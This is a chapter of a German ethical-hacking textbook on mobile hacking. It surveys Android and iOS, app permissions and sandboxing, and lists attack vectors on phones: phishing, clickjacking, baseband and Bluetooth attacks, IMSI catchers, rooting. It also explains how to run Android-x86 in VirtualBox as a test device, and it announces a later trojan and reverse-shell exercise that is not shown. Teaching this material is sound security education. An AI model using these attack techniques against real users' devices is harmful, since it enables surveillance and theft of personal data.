Das Sandboxing-Prinzip kennen Sie bereits von der Malware-Analyse aus Kapitel 13 Malware-Erkennung und -Analyse. Es ist mit Programmen wie Sandboxie auch auf einem Windows-PC verfügbar und auch für Linux gibt es entsprechende Lösungen.
Sowohl die Verbreitung als auch die technische Entwicklung von mobilen Endgeräten hat sich in den letzten Jahren rasant weiterentwickelt. Die Zeiten, in denen das Telefon nur zum Telefonieren benutzt wurde, sind längst Geschichte. Smartphones und auch Tablets haben sich so weit entwickelt, dass sie sich technisch kaum noch hinter einem Personal Computer verstecken müssen bzw. diese teilweise sogar ersetzen. Damit eröffnen sich für die Benutzer viele Möglichkeiten, aber auch Gefahren.
Kein Wunder, dass durch die starke Verbreitung mobile Endgeräte zunehmend in den Fokus von Hackern geraten sind. Moderne Mobilgeräte sind genauso anfällig für diverse Angriffe wie Personal Computer auch. Meist sind die Auswirkungen sogar schwerwiegender, wie Sie im Laufe dieses Kapitels noch sehen werden. Diverse Studien belegen, dass Anwender bei einem Mobilgerät eher dazu geneigt sind, auf einen schädlichen Link zu klicken oder eine legitim aussehende Malware-App zu installieren, als an einem konventionellen Computer.
In diesem Kapitel erwartet Sie ein fundierter Einstieg in das Thema »Mobile Hacking«. Das sind die Themen:
Mobile Betriebssysteme
»Apps« und deren Quellen
Schutzziele und Angriffsvektoren von mobilen Geräten
Android am PC nutzen
Root-Zugriff auf Android und iOS
Mobile-Hacking-Tools
Einen Trojaner für Android erstellen
Grundlagen von BYOD und Mobile Device Management
Auch in diesem Kapitel wartet wieder ein spannendes Praxisbeispiel, das Sie selbst nachstellen können. Wir werden Ihnen zeigen, wie Sie mit einem Trojaner einen erfolgreichen Angriff auf ein Android-System durchführen können. Doch eins nach dem anderen.
In diesem einführenden Abschnitt werden wir Ihnen einige Besonderheiten mobiler Endgeräte vermitteln. Dabei betrachten wir hauptsächlich die Software-Komponenten von Smartphones und Tablets.
Zusätzlich zu einer besonderen Hardware benötigen Smartphones und Tablets auch speziell angepasste Software, die zum Beispiel für die Bedienung via Touchscreen optimiert ist oder eine einfache Installation verfügbarer Apps ermöglicht. Dabei haben sich zwei Betriebssysteme durchgesetzt: Android von Google und iOS von Apple. Es existieren weitere Betriebssysteme, die jedoch nur eine untergeordnete Bedeutung haben.
Android wird von der Open Handset Alliance (OHA) entwickelt. Dabei handelt es sich um einen Zusammenschluss von Software-Unternehmen, Mobiltelefonherstellern, Netzbetreibern, Chipherstellern und Marketingunternehmen. Zu den über 80 Mitgliedern zählen unter anderen T-Mobile, Telefónica, Vodafone, Samsung, HTC und natürlich Google als wichtigstes Gründungsmitglied dieses Konsortiums.
Das Android-Betriebssystem basiert auf dem Linux-Kernel und ist eine Open-Source-Plattform. Dessen Benutzeroberfläche ist für die Bedienung über einen Touchscreen ausgelegt. Zur Grundinstallation gehören typischerweise viele Google-Anwendungen, wie zum Beispiel YouTube, Gmail, Drive und Maps. Die meisten Mobilgeräte-Hersteller passen Android an ihre Bedürfnisse an und fügen eigene Apps hinzu. Android ist hier sehr flexibel.
Die Versionen der Betriebssysteme tragen neben der Versionsnummer seit Android 1.5 jeweils den Namen einer Süßigkeit, beginnend mit Cupcake. Dabei ist der Anfangsbuchstabe alphabetisch aufsteigend. Spätere Versionen heißen Donut, Eclair, Froyo etc. bis Oreo (Version 8) und Pie (Version 9). Ab Version 10 war mit dieser Tradition leider Schluss, denn diese wurde schlicht Android 10 getauft und danach wurde die Nummerierung dann auch so fortgesetzt.
Android ist das weltweit am häufigsten eingesetzte mobile Betriebssystem, das sich auch auf Smart-TVs, Bordcomputern von Autos und Streaming-Hardware wiederfindet.
Auf Platz zwei steht iOS. Dabei handelt es sich um ein exklusives Betriebssystem für Apple-Produkte. iOS kann nur auf Hardware von Apple installiert und betrieben werden. Die erste Version wurde 2006 gemeinsam mit dem ersten iPhone veröffentlicht. Es folgten weitere Hardware-Plattformen mit iPod touch und dem iPad, die ebenfalls iOS als Betriebssystem nutzen. Auch Apple bringt mit der Grundinstallation systemeigene Apps wie Safari, Siri, AirDrop, Facetime, iCloud und Co. von Haus aus mit.
Es existieren neben den beiden Marktführern Android und iOS noch weitere mobile Betriebssysteme, die allerdings zunehmend an Relevanz verlieren und nur noch bedingt weiterentwickelt werden. Das Smartphone-Betriebssystem mit der längsten Geschichte ist das heutige Windows Phone von Microsoft, der Nachfolger von Microsoft Mobile, das wiederum aus Windows CE entstanden ist. So begann diese Entwicklung bereits mit dem Pocket PC und den Personal Digital Assistants (PDAs).
In jüngerer Vergangenheit wurde das BlackBerry als das perfekte Business-Smartphone gehandelt. Die Vorzüge lagen dabei allerdings hauptsächlich in der dahinter liegenden Server-Infrastruktur. Auch eine Trennung von geschäftlichen und privaten Bereichen bietet das auf Java basierende BlackBerry-Betriebssystem seinen namensgleichen Mobilgeräten. Das System konnte sich allerdings nicht durchsetzen und seine Entwicklung wurde eingestellt.
Weitere mobile Betriebssysteme sind Symbian OS, Sailfish OS, Tizen, WebOS und Firefox OS, die allerdings kaum in Erscheinung treten. Nach einer Übersicht über die Marktanteile der mobilen Betriebssysteme in Deutschland von statista.com hat Android mit rund 60% die Nase vorn, gefolgt von iOS mit knapp 38% (Stand Mitte 2023). Somit entfallen auf die restlichen mobilen Betriebssysteme gerade einmal 2%. Wir werden sie daher nicht näher betrachten.
Apps stellen für die meisten Anwender den vielleicht wichtigsten Aspekt ihres Mobilgeräts dar. In diesem Abschnitt schauen wir uns an, wie Apps bereitgestellt werden und wie die Sicherheitsarchitektur implementiert ist.
Genaugenommen steht App für Applikation und somit generell für ein Computerprogramm. Allerdings wird im Sprachgebrauch meist der Begriff »App« verwendet, wenn man eine mobile Applikation meint. Mobile Applikationen sind Programme, die für die Ausführung auf Smartphones, Tablets und anderen mobilen Geräten entwickelt wurden. Manche Apps sind nur exklusiv für eine bestimmte Plattform verfügbar und manche werden für mehrere Plattformen bereitgestellt. Es existieren Apps für alle nur vorstellbaren Zwecke. Normalerweise werden sie über offizielle Anwendungsverteilungsplattformen, sogenannte »App-Stores«, bereitgestellt.
Für jedes Betriebssystem gibt es einen eigenen App-Store. So kann je nach Plattform auf den App Store von Apple oder Google’s Play Store zugegriffen werden. Abgesehen von den offiziellen Stores der Betriebssysteme existieren noch weitere von Drittanbietern wie F-Droid (https://f-droid.org), GetJar (www.getjar.com) oder Aptoide (www.aptoide.com). Auch Amazon (www.amazon.de/androidapp) bietet einen eigenen Store, um entsprechende Anwendungen anzubieten.
Nicht jede App schafft es in einen der Stores. Es sind diverse Voraussetzungen notwendig, bevor ein Entwickler seine App für die Veröffentlichung auf einem App-Store einreichen kann. Die Richtlinien für die offiziellen Stores für Android und iOS können Sie unter folgenden Links einsehen:
Google Play Store: https://play.google.com/about/developer-content-policy
Apple App Store: https://developer.apple.com/app-store/review/guidelines
Damit ist sichergestellt, dass die Apps, die über einen Store erhältlich sind, bestimmten Qualitäts- und Sicherheitsanforderungen entsprechen. Apps können aber auch als ausführbare Installationsprogramme außerhalb von App-Stores von anderen Quellen bezogen werden. Apps für iOS haben die Dateiendung .ipa
. Dies steht für iOS Application Archive. Android-Apps werden als Android Package bezeichnet und nutzen die Dateiendung .apk
. Diese Dateien können auf das mobile Endgerät kopiert und dort ausgeführt werden. Dies erfordert jedoch einige Voraussetzungen, wie wir Ihnen noch zeigen werden.
Möchte eine App Ressourcen nutzen, so sind Berechtigungen notwendig. Wenn Sie eine App herunterladen, fordert diese eventuell schon während der Installation entsprechende Zugriffe an, siehe Abbildung 29.1. Wenn der Benutzer die App zum ersten Mal installiert, zeigt das System die Liste der angeforderten Berechtigungen an. Der Benutzer kann entscheiden, ob er diesen Berechtigungen zustimmt oder nicht. Der Benutzer kann auch einzelne Berechtigungen nach der Installation über die App-Einstellungen widerrufen oder erteilen. Android organisiert Berechtigungen in Gruppen, um eine bessere Übersicht zu ermöglichen. Wenn eine App eine Berechtigung aus einer Gruppe beantragt, erhält sie automatisch alle Berechtigungen aus dieser Gruppe. Ein Beispiel für eine Berechtigungsgruppe ist die »Kamera«-Gruppe, zu der Berechtigungen für den Zugriff auf die Kamera und die Speicherung von Fotos gehören. Ab Android 6.0 (Marshmallow) werden bestimmte Berechtigungen als »dynamisch« bezeichnet. Das bedeutet, dass die App den Benutzer zur Laufzeit um die Berechtigung bitten kann, wenn sie benötigt wird, anstatt sie alle im Voraus zu beantragen. Der Benutzer kann entscheiden, ob er die Berechtigung gewährt oder verweigert. In jedem Fall sollten Sie die Berechtigungen einer App genau prüfen.
Abb. 29.1: Erforderliche Berechtigungen für die App »WhatsApp Messenger«
In den Einstellungen können die Berechtigungen für die jeweiligen Apps teilweise deaktiviert werden. Das kann allerdings dazu führen, dass die App nur noch eingeschränkt oder gar nicht mehr funktioniert. Hier setzen die App-Entwickler dem Anwender häufig die Pistole auf die Brust: Entweder werden die umfangreichen Berechtigungsanforderungen gewährt oder die App kann nicht gestartet werden.
Wenn Sie einen Vergleich zu einem konventionellen Computerprogramm herstellen, hat das Berechtigungskonzept in Bezug auf die Sicherheit und Transparenz trotzdem erhebliche Vorteile. Bei einem klassischen Computerprogramm wissen Sie im Vorfeld nicht genau, auf welche Ressourcen dieses nach der Installation Zugriff hat. Diesen Vorteil können Sie ggf. nutzen, um die Berechtigungen einer App entsprechend einzuschränken.
Im Gegensatz zu konventionellen Betriebssystemen wurde bei mobilen Plattformen der Sicherheitsaspekt von Anfang an in die Entwicklung integriert und in der Architektur berücksichtigt. Apps können in eigenen Umgebungen, die als »Sandbox« bezeichnet werden, laufen und haben damit weder Einfluss auf andere Apps noch Zugriff auf das Betriebssystem. Während in iOS Apps grundsätzlich in einer Sandbox betrieben werden, ist dies mit zusätzlichen Programmen, wie z.B. Shelter, auch in Android möglich.
Das Sandboxing-Prinzip kennen Sie bereits von der Malware-Analyse aus Kapitel 13 Malware-Erkennung und -Analyse. Es ist mit Programmen wie Sandboxie auch auf einem Windows-PC verfügbar und auch für Linux gibt es entsprechende Lösungen.
In dem nun folgenden Abschnitt werden wir beleuchten, warum ein mobiles Gerät so interessant für Hacker ist und welche Angriffsziele geschützt werden müssen. In diesem Zusammenhang stellen wir die Möglichkeiten vor, die ein Hacker im Rahmen eines Angriffs auf ein mobiles Gerät hat.
Warum sind Hacking-Attacken auf mobile Geräte und vor allem auf Smartphones so beliebt? Das hat zwei Hauptgründe: Zum einen ist diese Art von Endgeräten weniger gut geschützt und zum anderen gibt es für das Opfer fast nichts Gefährlicheres als ein kompromittiertes Smartphone.
Mobile Geräte kommunizieren in den meisten Fällen direkt mit dem Internet. Es existieren weder Firewalls, Proxys, Demilitarisierte Zonen (DMZ) oder Intrusion-Detection-Systeme (IDS), die die Geräte von außen zusätzlich absichern können. Mobile Geräte wie Smartphones und Tablets sind in der Regel sehr exponiert, da sie häufig in fremden Netzwerken betrieben werden.
Dazu kommt, dass die Smartphones meistens einfach nur ein täglich genutztes Gebrauchsobjekt darstellen. Das bedeutet, über erweiterten Schutz machen sich viele Anwender keine Gedanken. Das liegt oft auch daran, dass die Endgeräte von Personen bedient werden, die sich noch nie ernsthaft mit den Risiken auseinandergesetzt haben.
Auf der anderen Seite gibt es wohl nur wenig, was schützenswerter ist als ein ständiger Begleiter, der Augen und Ohren offen hat und alle Ihre Geheimnisse für Sie aufbewahrt. Ist ein Smartphone erst einmal kompromittiert, stehen dem Angreifer zahlreiche Möglichkeiten offen. Hierzu gehören unter anderem:
Mithören durch Aktivieren des Mikrofons
Videos und Fotos aufnehmen mit der Kamera
Zugriff auf bereits gespeicherte Medien
Aufzeichnung und Protokollierung von Gesprächen und Verbindungen
Ortung und Tracking durch GPS
Gefälschte, manipulierte Apps installieren/ersetzen
Lesen und Senden von Nachrichten jeglicher Art (SMS, Chat, E-Mail)
Zugriff auf Kalender, Notizen und Kontakte
Zugriff auf hinterlegte User-Accounts diverser Apps
Zugriff auf Accounts mit Zweifaktor-Authentifizierung durch SMS/App
Zugriff auf mobile TANs für Onlinebanking
Finanzieller Schaden durch SMS-Dienste oder teure Anrufe bei Sonderrufnummern
Click Fraud (Klickbetrug) auf Werbebanner oder Ähnliches
Schädigung des Rufs durch Postings auf sozialen Plattformen
Einsatz bei DDoS-Angriffen (Installation von Bots)
Alle Möglichkeiten, die man durch MITM hat, z.B. Banking-Trojaner
Da ein mobiles Gerät diverse Funktionen in sich vereint, stellt ein gehacktes Smartphone oder Tablet häufig ein Worst-Case-Szenario für das Opfer dar. Die Herausforderung für den Angreifer besteht darin, einen geeigneten Angriffsvektor für die Übernahme des Zielgeräts zu finden.
Im folgenden Abschnitt betrachten wir wichtige Wege, über die gezielte Angriffe vorgenommen werden können. Hier unterscheiden wir zwischen Angriffen, die direkt auf dem Gerät stattfinden, über das Netzwerk eingeleitet werden, und Angriffe auf zentrale Komponenten wie Webserver und Datenbanken. Die nachfolgenden Ausführungen dienen als Übersicht und gehen nicht in alle Details hinein.
Viele der Angriffe, die direkt auf dem Endgerät stattfinden können, kennen Sie bereits aus vergangenen Kapiteln. Diese können gleichermaßen auch auf einem mobilen Endgerät durchgeführt werden. Manche Angriffe werden über einen Browser eingeleitet, andere über weitere Anwendungen oder das Betriebssystem selbst. Eine Besonderheit bieten Telefon-/SMS-basierte Angriffe.
Phishing: E-Mails, Kurznachrichten oder Popups leiten Benutzer zu gefälschten Webseiten weiter, auf denen vertrauenswürdige Websites nachgeahmt werden. Auf diesen Seiten werden sie aufgefordert, persönliche Daten anzugeben. Besonders mobile Endgeräte sind hier aufgrund ihrer geringen Größe gefährdet, da nur kurze URLs, begrenzte Warnmeldungen, verkleinerte Sperrsymbole usw. angezeigt werden können. Eine weitere Einschränkung am mobilen Endgerät ist die fehlende Mouseover-Funktion, die bei einem Link die dahinter liegende Zieladresse anzeigen würde. Damit sind mobile Geräte häufiger Opfer von Phishing-Websites.
Framing: Webseiten mit integrierten iFrame-Elementen werden bösartig modifiziert. Durch Inlineframes ist es möglich, schädliche Webinhalte via HTML einzubetten. Dies wird getan, um mit Clickjacking (siehe nächster Punkt) vertrauliche Informationen der Benutzer zu stehlen.
Clickjacking: Durch Framing werden Webbenutzer dazu gebracht, auf bestimmte Webinhalte zu klicken. Allerdings wird im Hintergrund eine andere Aktion ausgeführt, als der Anwender erwartet. Beispielsweise kann eine Schaltfläche zu einem spannenden Artikel mit einem nicht sichtbaren Button überlagert werden. Dieser wiederum führt eine unerwünschte Aktion aus.
Man-in-the-Mobile: Der Angreifer schleust bösartigen Code auf das Mobilgerät des Opfers. Dieser zeichnet beispielsweise Kennworteingaben, Nachrichten und Anrufe auf, um diese gesammelt an den Angreifer weiterzuleiten. Die Vorgehensweise ist analog zu einem Man-in-the-Middle-Angriff, wird im Kontext von Mobilgeräten allerdings als »Man-in-the-Mobile« bezeichnet.
Daten-Caching: In den Caches werden Informationen gespeichert, die häufig für die Interaktion mit Webanwendungen benötigt werden. Dadurch werden vor allem bei Mobilgeräten knappe Ressourcen gespart. Angreifer versuchen, diese Datencaches auszulesen, um vertrauliche Informationen zu erhalten, die darin gespeichert sind.
Baseband-Hack: Angreifer nutzen Schwachstellen im GSM-Baseband-Prozessor eines Telefons aus, der Funksignale an Mobilfunkmasten sendet und empfängt. Durch einen Fake-Mobilfunk-Transceiver können angreifbare Baseband-Prozessoren vom Transceiver übermittelten Schadcode ausführen.
SMiShing: SMS-Phishing (auch als SMiShing bezeichnet) ist eine Art von Phishing-Betrug, bei dem ein Angreifer SMS-Textnachrichten an seine Opfer sendet. Die Empfänger sollen damit getäuscht und dazu verleitet werden, auf einen Link zu klicken oder eine Telefonnummer anzurufen. Im nächsten Schritt werden dann ggf. persönliche Informationen abgefragt oder ein Download von Malware veranlasst. Diese Vorgehensweise ist oft erfolgreich, da SMS als vertrauenswürdiger eingestuft werden als E-Mails. Zudem existieren in der Regel für SMS weder ein Spam-Filter noch eine entsprechende Überprüfung durch ein AV-Programm.
Speicherung sensibler Daten: Manche Apps weisen in ihrer Datenbankarchitektur Schwachstellen auf, sodass Angreifer mit einem entsprechenden Exploit die darin gespeicherten, sensiblen Benutzerdaten stehlen können.
Keine oder schwache Verschlüsselung: Einige Apps verwenden schwache oder sogar keine Verschlüsselung beim Umgang mit Ihren Daten.
Unsachgemäße SSL-Überprüfung: Sicherheitslücken im SSL-Überprüfungsprozess einer Anwendung können es Angreifern ermöglichen, die Datensicherheit zu umgehen.
Konfigurationsmanipulation: Apps verwenden möglicherweise externe Konfigurationsdateien und -bibliotheken. Das kann ein Angreifer nutzen, um unbefugten Zugriff auf Administrationsoberflächen, Konfigurationsspeicher und Klartext-Konfigurationsdaten zu bekommen.
Unbeabsichtigte Berechtigungen: Schlecht programmierte Apps können Angreifern manchmal Türen öffnen, indem sie unbeabsichtigte und zu weit reichende Berechtigungen erteilen.
Berechtigungen eskalieren: Hacker können an einer App Angriffe zur Eskalation von Berechtigungen durchführen. Das gelingt möglicherweise durch Architektur-, Programmier- oder Konfigurationsfehler innerhalb der Anwendung. Damit ist es möglich, auf Ressourcen zuzugreifen, die normalerweise vor einer Anwendung oder einem Benutzer geschützt sind.
Keine oder unsichere Entsperrmethode: Einige Benutzer entscheiden sich, je nach Entsperrmethode, für eine einfache PIN, ein sehr simples Muster oder sogar für gar keinen Passcode. In diesem Fall erlangt der Angreifer schnell die Kontrolle über das Gerät, sobald er physischen Zugriff hat.
iOS Jailbreaking: Beim Jailbreaking von iOS werden die von Apple festgelegten Sicherheitsmechanismen entfernt. Diese verhindern unter anderem die Ausführung von Schadcode auf dem Gerät. Ein iOS Jailbreak bietet Root-Zugriff auf das Betriebssystem und beseitigt ggf. Sandbox-Einschränkungen.
Android-Rooting: Mit dem »Rooting« können Android-Benutzer die privilegierte Kontrolle (dies wird als »Root-Zugriff« bezeichnet) auf das Android-Subsystem erlangen. Wie Jailbreaking kann Rooting dazu führen, dass einige Sicherheitsvorkehrungen ganz oder teilweise außer Kraft gesetzt werden. Jailbreaking und Rooting bringen daher viele Sicherheits- und andere Risiken für das iOS- bzw. Android-Gerät mit. Wir werden im Laufe dieses Kapitels noch genauer darauf eingehen.
Auch über die Netzwerkschnittstellen können Angriffe eingeleitet werden:
Wi-Fi (schwache Verschlüsselung/keine Verschlüsselung): Einige Anwendungen unterstützen keine oder nur schwache Algorithmen zum Verschlüsseln von Daten bei der WLAN-Übertragung. Ein Angreifer kann Daten abfangen, indem er die drahtlose Verbindung abhört. Damit werden unter anderem Sniffing-Angriffe möglich.
Rogue Access Points: Fake-APs und Evil-Twin-Angriffe kennen Sie bereits aus dem vorherigen Kapitel. Angreifer stellen einen drahtlosen Zugriffspunkt zur Verfügung, um Angriffe auf WLAN-Endgeräte durchzuführen. Besonders mobile Systeme sind hier die primären Opfer. Meistens ist die WLAN-Verbindung aktiviert, und nicht selten verbinden sich die Endgeräte je nach Einstellung ohne das Wissen des Anwenders mit einem WLAN-Netzwerk. Damit werden MITM-Angriffe wie Session Hijacking, DNS Poisoning, SSLStrip usw. möglich.
Bluesnarfing: Bluesnarfing ist der Diebstahl von Informationen über eine Bluetooth-Verbindung. Mit dieser Technik kann ein Angreifer auf gespeicherte Kontaktlisten, E-Mails, Textnachrichten, Kalenderdaten usw. des Opfers zugreifen. Jedes Gerät, dessen Bluetooth-Verbindung aktiviert und auf »sichtbar« eingestellt ist, kann möglicherweise Bluesnarfing-Angriffen ausgesetzt sein, wenn eine Software bestimmte Schwachstellen aufweist. Bluesnarfing nutzt die Bluetooth-Verbindungen anderer Geräte ohne deren Wissen.
Bluejacking: Bezeichnet das Senden von Nachrichten an Bluetooth-fähige Geräte, ohne dass der Empfänger diese angefordert hat. Dabei wird über das OBEX-Protokoll eine sogenannte vCard (elektronische Visitenkarte) an das Opfer gesendet. Diese Vorgehensweise wird häufig für Werbung missbraucht, um ungefragt Werbebilder an Smartphones mit eingeschaltetem Bluetooth zu senden. Auf diesem Weg ist es auch möglich, Malware unbemerkt auf Opfer-Systeme zu schleusen. Ist ein Angreifer so weit gekommen, dass er via Bluetooth-Kommunikation Befehle auf dem Opfer-System ausführen kann, spricht man von Bluebugging.
IMSI-Catcher: Mobile Sendemasten mit erhöhter Sendeleistung werden eingesetzt, um SMS-Nachrichten abzufangen, Handys abzuhören oder zu orten. Wie das funktioniert, fasst folgendes Dokument der Electronic Frontier Foundation (EFF) zusammen: https://www.eff.org/files/2019/07/09/whitepaper_imsicatchers_eff_0.pdf.
In der Regel kommunizieren die Apps auf einem Mobilgerät mit Systemen in einer zentralen Infrastruktur in Rechenzentren. Auch diese Komponenten sind im Rahmen der Angriffe auf mobile Endgeräte relevant.
Webserverbasierte Angriffe: Sicherheitslücken in der Webserver-Plattform oder der eingesetzten Software können dazu führen, dass Hacker die Kommunikation zwischen mobilem Endgerät und dem Server angreifen können. Auch durch falsch konfigurierte Webserver kann ein Angreifer unbefugten Zugriff auf seine Ressourcen erhalten. Bereits bekannte Angriffsformen auf Webserver wie Cross-Site-Scripting (XSS) und Cross-Site Request Forgery (CSRF) sind auch hier erfolgversprechende Ansätze.
Datenbankangriffe: Angriffe auf Datenbanken wie SQL-Injection können Unbefugten den Zugriff auf eine Datenbank verschaffen oder Informationen direkt aus der Datenbank abrufen.
Wie Sie sehen, entsprechen viele Angriffe auf mobile Geräte und die dahinterstehende Infrastruktur den bereits bekannten Methoden und Konzepten. Sie werden für Mobile Devices angepasst, basieren aber auf denselben Prinzipien.
Das Open Web Application Security Project (OWASP) hat im Rahmen des OWASP Mobile Security Projects auch zum Thema »Mobile Risks« eine entsprechende Top-10-Liste zusammengestellt. Diese können Sie unter der URL https://owasp.org/www-project-mobile-top-10 einsehen. Sie sollten auf jeden Fall einen intensiven Blick auf die Top 10 der Mobile Risks werfen, da der OWASP-Ansatz einen ergänzenden Blickwinkel einnimmt und somit die obigen Angriffsvektoren ergänzt und vervollständigt.
Zudem finden Sie auf der Seite des OWASP Mobile Security Projects unter https://mas.owasp.org noch eine Reihe weiterer nützlicher Informationen und Tools rund um das Thema »Mobile Hacking«. Stöbern wird hier ebenfalls ausdrücklich empfohlen!
Nachdem wir nun einige Grundsteine gelegt haben, wird es Zeit, in die Praxis zu gehen. Zunächst schaffen wir eine Möglichkeit, das Android-Betriebssystem auf dem PC zu verwenden. Anschließend betrachten wir verschiedene, relevante Aspekte des Mobile Hackings.
In diesem Abschnitt werden wir Ihnen ein paar hilfreiche Anwendungen an die Hand geben, die Ihnen die Arbeit mit dem Smartphone in Kombinationen mit Ihrem PC erleichtern.
Vorsicht: Verwenden Sie nicht Ihr Produktivgerät!
Wir empfehlen dringend, keine sicherheitskritischen Tests, wie wir sie im Folgenden zeigen werden, an Ihrem eigenen Smartphone zu testen. Nutzen Sie hierfür ein »Spielgerät«, das Sie ggf. noch aus früherer Zeit in der Schublade haben, oder kaufen Sie ein günstiges Android-Gerät für deutlich unter 100 Euro. Achten Sie darauf, dass Ihr Gerät von der Internet-Community gut unterstützt wird, um Tutorials und ggf. Hilfe in Foren zu finden. Bestimmte Vorgehensweisen, insbesondere im Zusammenhang mit dem Rooting, sind gerätespezifisch, sodass eine Unterstützung im Internet essenziell ist.
Haben Sie nicht die Möglichkeit, auf ein solches Testgerät zurückzugreifen, stellen wir Ihnen in diesem Abschnitt noch Alternativen vor.
Um ein mobiles Endgerät mit dem Computer zu verbinden und auf dessen Daten zugreifen zu können, genügt meist ein entsprechendes USB-Kabel. Noch komfortabler gestaltet sich dies allerdings mit einer Software wie Vysor (www.vysor.io) oder AirDroid (www.airdroid.com). Damit wird es nach einer Anmeldung möglich, alle Vorgänge und Inhalte Ihres Mobilgeräts auf dem PC-Bildschirm anzuzeigen und das Endgerät sogar zu steuern. Zudem haben Sie die Möglichkeit, auf die Dateien des gekoppelten Smartphones oder Tablets über Ihren PC zuzugreifen. Es existieren noch weitere Tools dieser Art, die genannten Anbieter unterstützen sowohl Android als auch iOS. Auch Fernwartungssoftware wie TeamViewer (www.teamviewer.com) oder AnyDesk (https://anydesk.com) unterstützen den Zugriff auf mobile Geräte und bieten die oben genannten Funktionen.
Wie so oft steht hier auch wieder Komfort der Sicherheit gegenüber. So bequem es ist, das mobile Gerät über den PC zu steuern und auf die Daten zuzugreifen, genauso gefährlich ist es auch, wenn dies ein anderer tut. Setzen Sie diese Art von Software daher nur mit Bedacht ein.
Wie wir bereits erwähnt haben, gibt es Alternativen, mit denen Sie um den Kauf eines Android-Endgeräts herumkommen und Android-Apps auch auf dem PC ausführen können. Eine davon ist BlueStacks (www.bluestacks.com), eine kostenlose Android-Emulator-Software.
Abb. 29.2: Der Google Play Store in einer BlueStacks-Instanz geöffnet
Sie basiert auf VirtualBox und wird zum Ausführen von Android-Apps unter Windows und macOS verwendet. Abbildung 29.2 zeigt den Play Store innerhalb einer BlueStacks-Instanz.
Hauptsächlich wird BlueStacks verwendet, um Spiele aus dem Google Play Store auf dem PC auszuführen. Es können allerdings auch andere Apps getestet werden.
Eine weitere Möglichkeit, Android auf einem PC auszuführen, bietet das Open-Source-Projekt Android x86 (www.android-x86.org). Das Projekt hat es sich zur Aufgabe gemacht, ein Betriebssystem zu entwickeln, das auf ARM-Prozessoren ausgelegte Android auch für PCs mit x86-x64-Architektur lauffähig zu machen. Die nachfolgende Anleitung beschreibt den Installationsprozess in Kurzform und ist am einfachsten nachvollziehbar, wenn Sie die Schritte direkt praktisch mitverfolgen.
Sie können das Betriebssystem als ISO-Datei von der oben angegebenen Adresse herunterladen und als neue virtuelle Maschine in VirtualBox installieren. Wie Sie grundsätzlich eine neue VM in VirtualBox erstellen können, haben wir in Kapitel 2 bei der Einrichtung Ihrer Arbeitsumgebung ausführlich beschrieben. Beachten Sie bei Android x86, dass Sie beim Einrichten als Typ Linux und die Version Linux 2.6/3.x/4.x (je nach Version 32 oder 64 Bit) auswählen. Für das virtuelle System empfehlen wir Ihnen 2048 MB Arbeitsspeicher und eine Festplattenspeichergröße von 10 GB. Nachdem die Maschine erstellt wurde, können Sie sie direkt starten. Sie werden daraufhin aufgefordert, ein Medium für den Bootvorgang auszuwählen. Wählen Sie hier die Android-x86-ISO-Datei aus und klicken Sie auf starten.
Es startet der Installer von Android x86. Sie können das Betriebssystem als Live-Version starten oder installieren. Wählen Sie für eine Installation den Eintrag Installation - Install Android x86 to harddisk. Im Anschluss müssen Sie eine entsprechende Partition erstellen, Sie können bei den Default-Einstellungen bleiben und benötigen keine GUID Partition Table (GPT).
Im Partitionierungs-Menü gehen Sie auf New und wählen die Option Primary aus. Die Größe müssen Sie nicht anpassen und können die komplette Festplattenkapazität verwenden. Bevor Sie nun mit Write bestätigen, wählen Sie noch die Option Bootable aus. Dann können Sie die Änderungen auf die Festplatte schreiben. Ist der Vorgang abgeschlossen, verlassen Sie das Partitionierungsprogramm über Quit. Abschließend wählen Sie die erstellte Partition aus, um Android-x86 darauf zu installieren.
Für das Filesystem wählen Sie im Folgenden ext4 und formatieren Ihre Partition entsprechend. Die Installation von GRUB und die Frage nach install /system directory as read-write müssen Sie mit YES bestätigen. Danach startet die Installation. Ist diese abgeschlossen, erhalten Sie einen entsprechenden Hinweis. Entfernen Sie nun die ISO-Datei aus Ihrem virtuellen Laufwerk und starten Sie Android-x86 von der Festplatte.
Hinweis: Problem mit grafischer Oberfläche?
Wird nach dem Start von Android-x86 keine grafische Oberfläche angezeigt (der Bootprozess bleibt scheinbar im Terminal hängen), so ist eine Anpassung in den Einstellungen der VirtualBox unter Anzeige notwendig. In der Vergangenheit waren in verschiedenen VirtualBox-Versionen leider auch unterschiedliche Anpassungen nötig. Für VirtualBox 7.0 belassen Sie die 3D-Beschleunigung deaktiviert und wählen als Grafik-Controller VBoxVGA aus. Falls dies in Ihrem Szenario nicht zum Erfolg führt, konsultieren Sie die einschlägigen Internetforen oder experimentieren Sie selbst mit verschiedenen Einstellungen der Anzeige.
Nach dem erfolgreichen Start finden Sie nun Ihr Android im Auslieferungszustand vor und durchlaufen den Einrichtungsassistenten analog zu dem auf einem mobilen Endgerät. Um sich mit einem WLAN zu verbinden bzw. eine Internetverbindung zu etablieren, stellen Sie wie in Abbildung 29.3 Ihre virtuelle Maschine in den Netzwerkeinstellungen auf Netzwerkbrücke ein und verbinden sich dann mit dem gefundenen Drahtlosnetzwerk VirtWifi.
In den folgenden Schritten richten Sie Ihr Android ein. Sie können dabei auch ein vorhandenes Google-Konto verwenden.
Hinweis: US-Tastatur-Layout
Beachten Sie, dass per Default das US-Tastatur-Layout aktiv ist und Sie beispielsweise bei der Eingabe Ihrer E-Mail-Adresse für das Google-Konto darauf achten müssen. Die Tastenkombination Shift+2 ist notwendig, um das @-Zeichen einzugeben.
Nun ist es geschafft, nach der Einrichtung steht Ihnen, analog zu Abbildung 29.4, eine virtuelle Android-Testumgebung auf Ihrem PC zur Verfügung. Diese können Sie z.B. später in Abschnitt 29.3.6 einsetzen, um den dort erstellten Trojaner auszuführen und die Reverse-Shell zu testen.
Abb. 29.3: Android x86 bekommt Zugriff auf das Netzwerk des Hostsystems.
Abb. 29.4: Android x86 als virtuelle Maschine in VirtualBox
Das Ziel beim Rooten von Android besteht darin, die von den Herstellern auferlegten Einschränkungen zu überwinden. Nachdem Sie dieses Ziel erreicht haben, steht Ihnen die Welt Ihres Smartphones offen. Sie haben damit Root-Rechte und somit das Recht, unter anderem Sandboxing zu überwinden, Systemanwendungen und -konfigurationen zu modifizieren, Apps mit Admin-Rechten auszuführen und weitere Möglichkeiten, auf die der reguläre Android-Benutzer normalerweise keinen Zugriff hat. Sie können sogar eine ganz eigene Custom-ROM, also ein alternatives Android-Betriebssystem, auf das Smartphone spielen. Das ist beispielsweise von Vorteil, wenn der Hardware-Hersteller keine weiteren Updates für das Gerät veröffentlicht. Zudem ist eine verbesserte Leistungsfähigkeit zu erkennen.
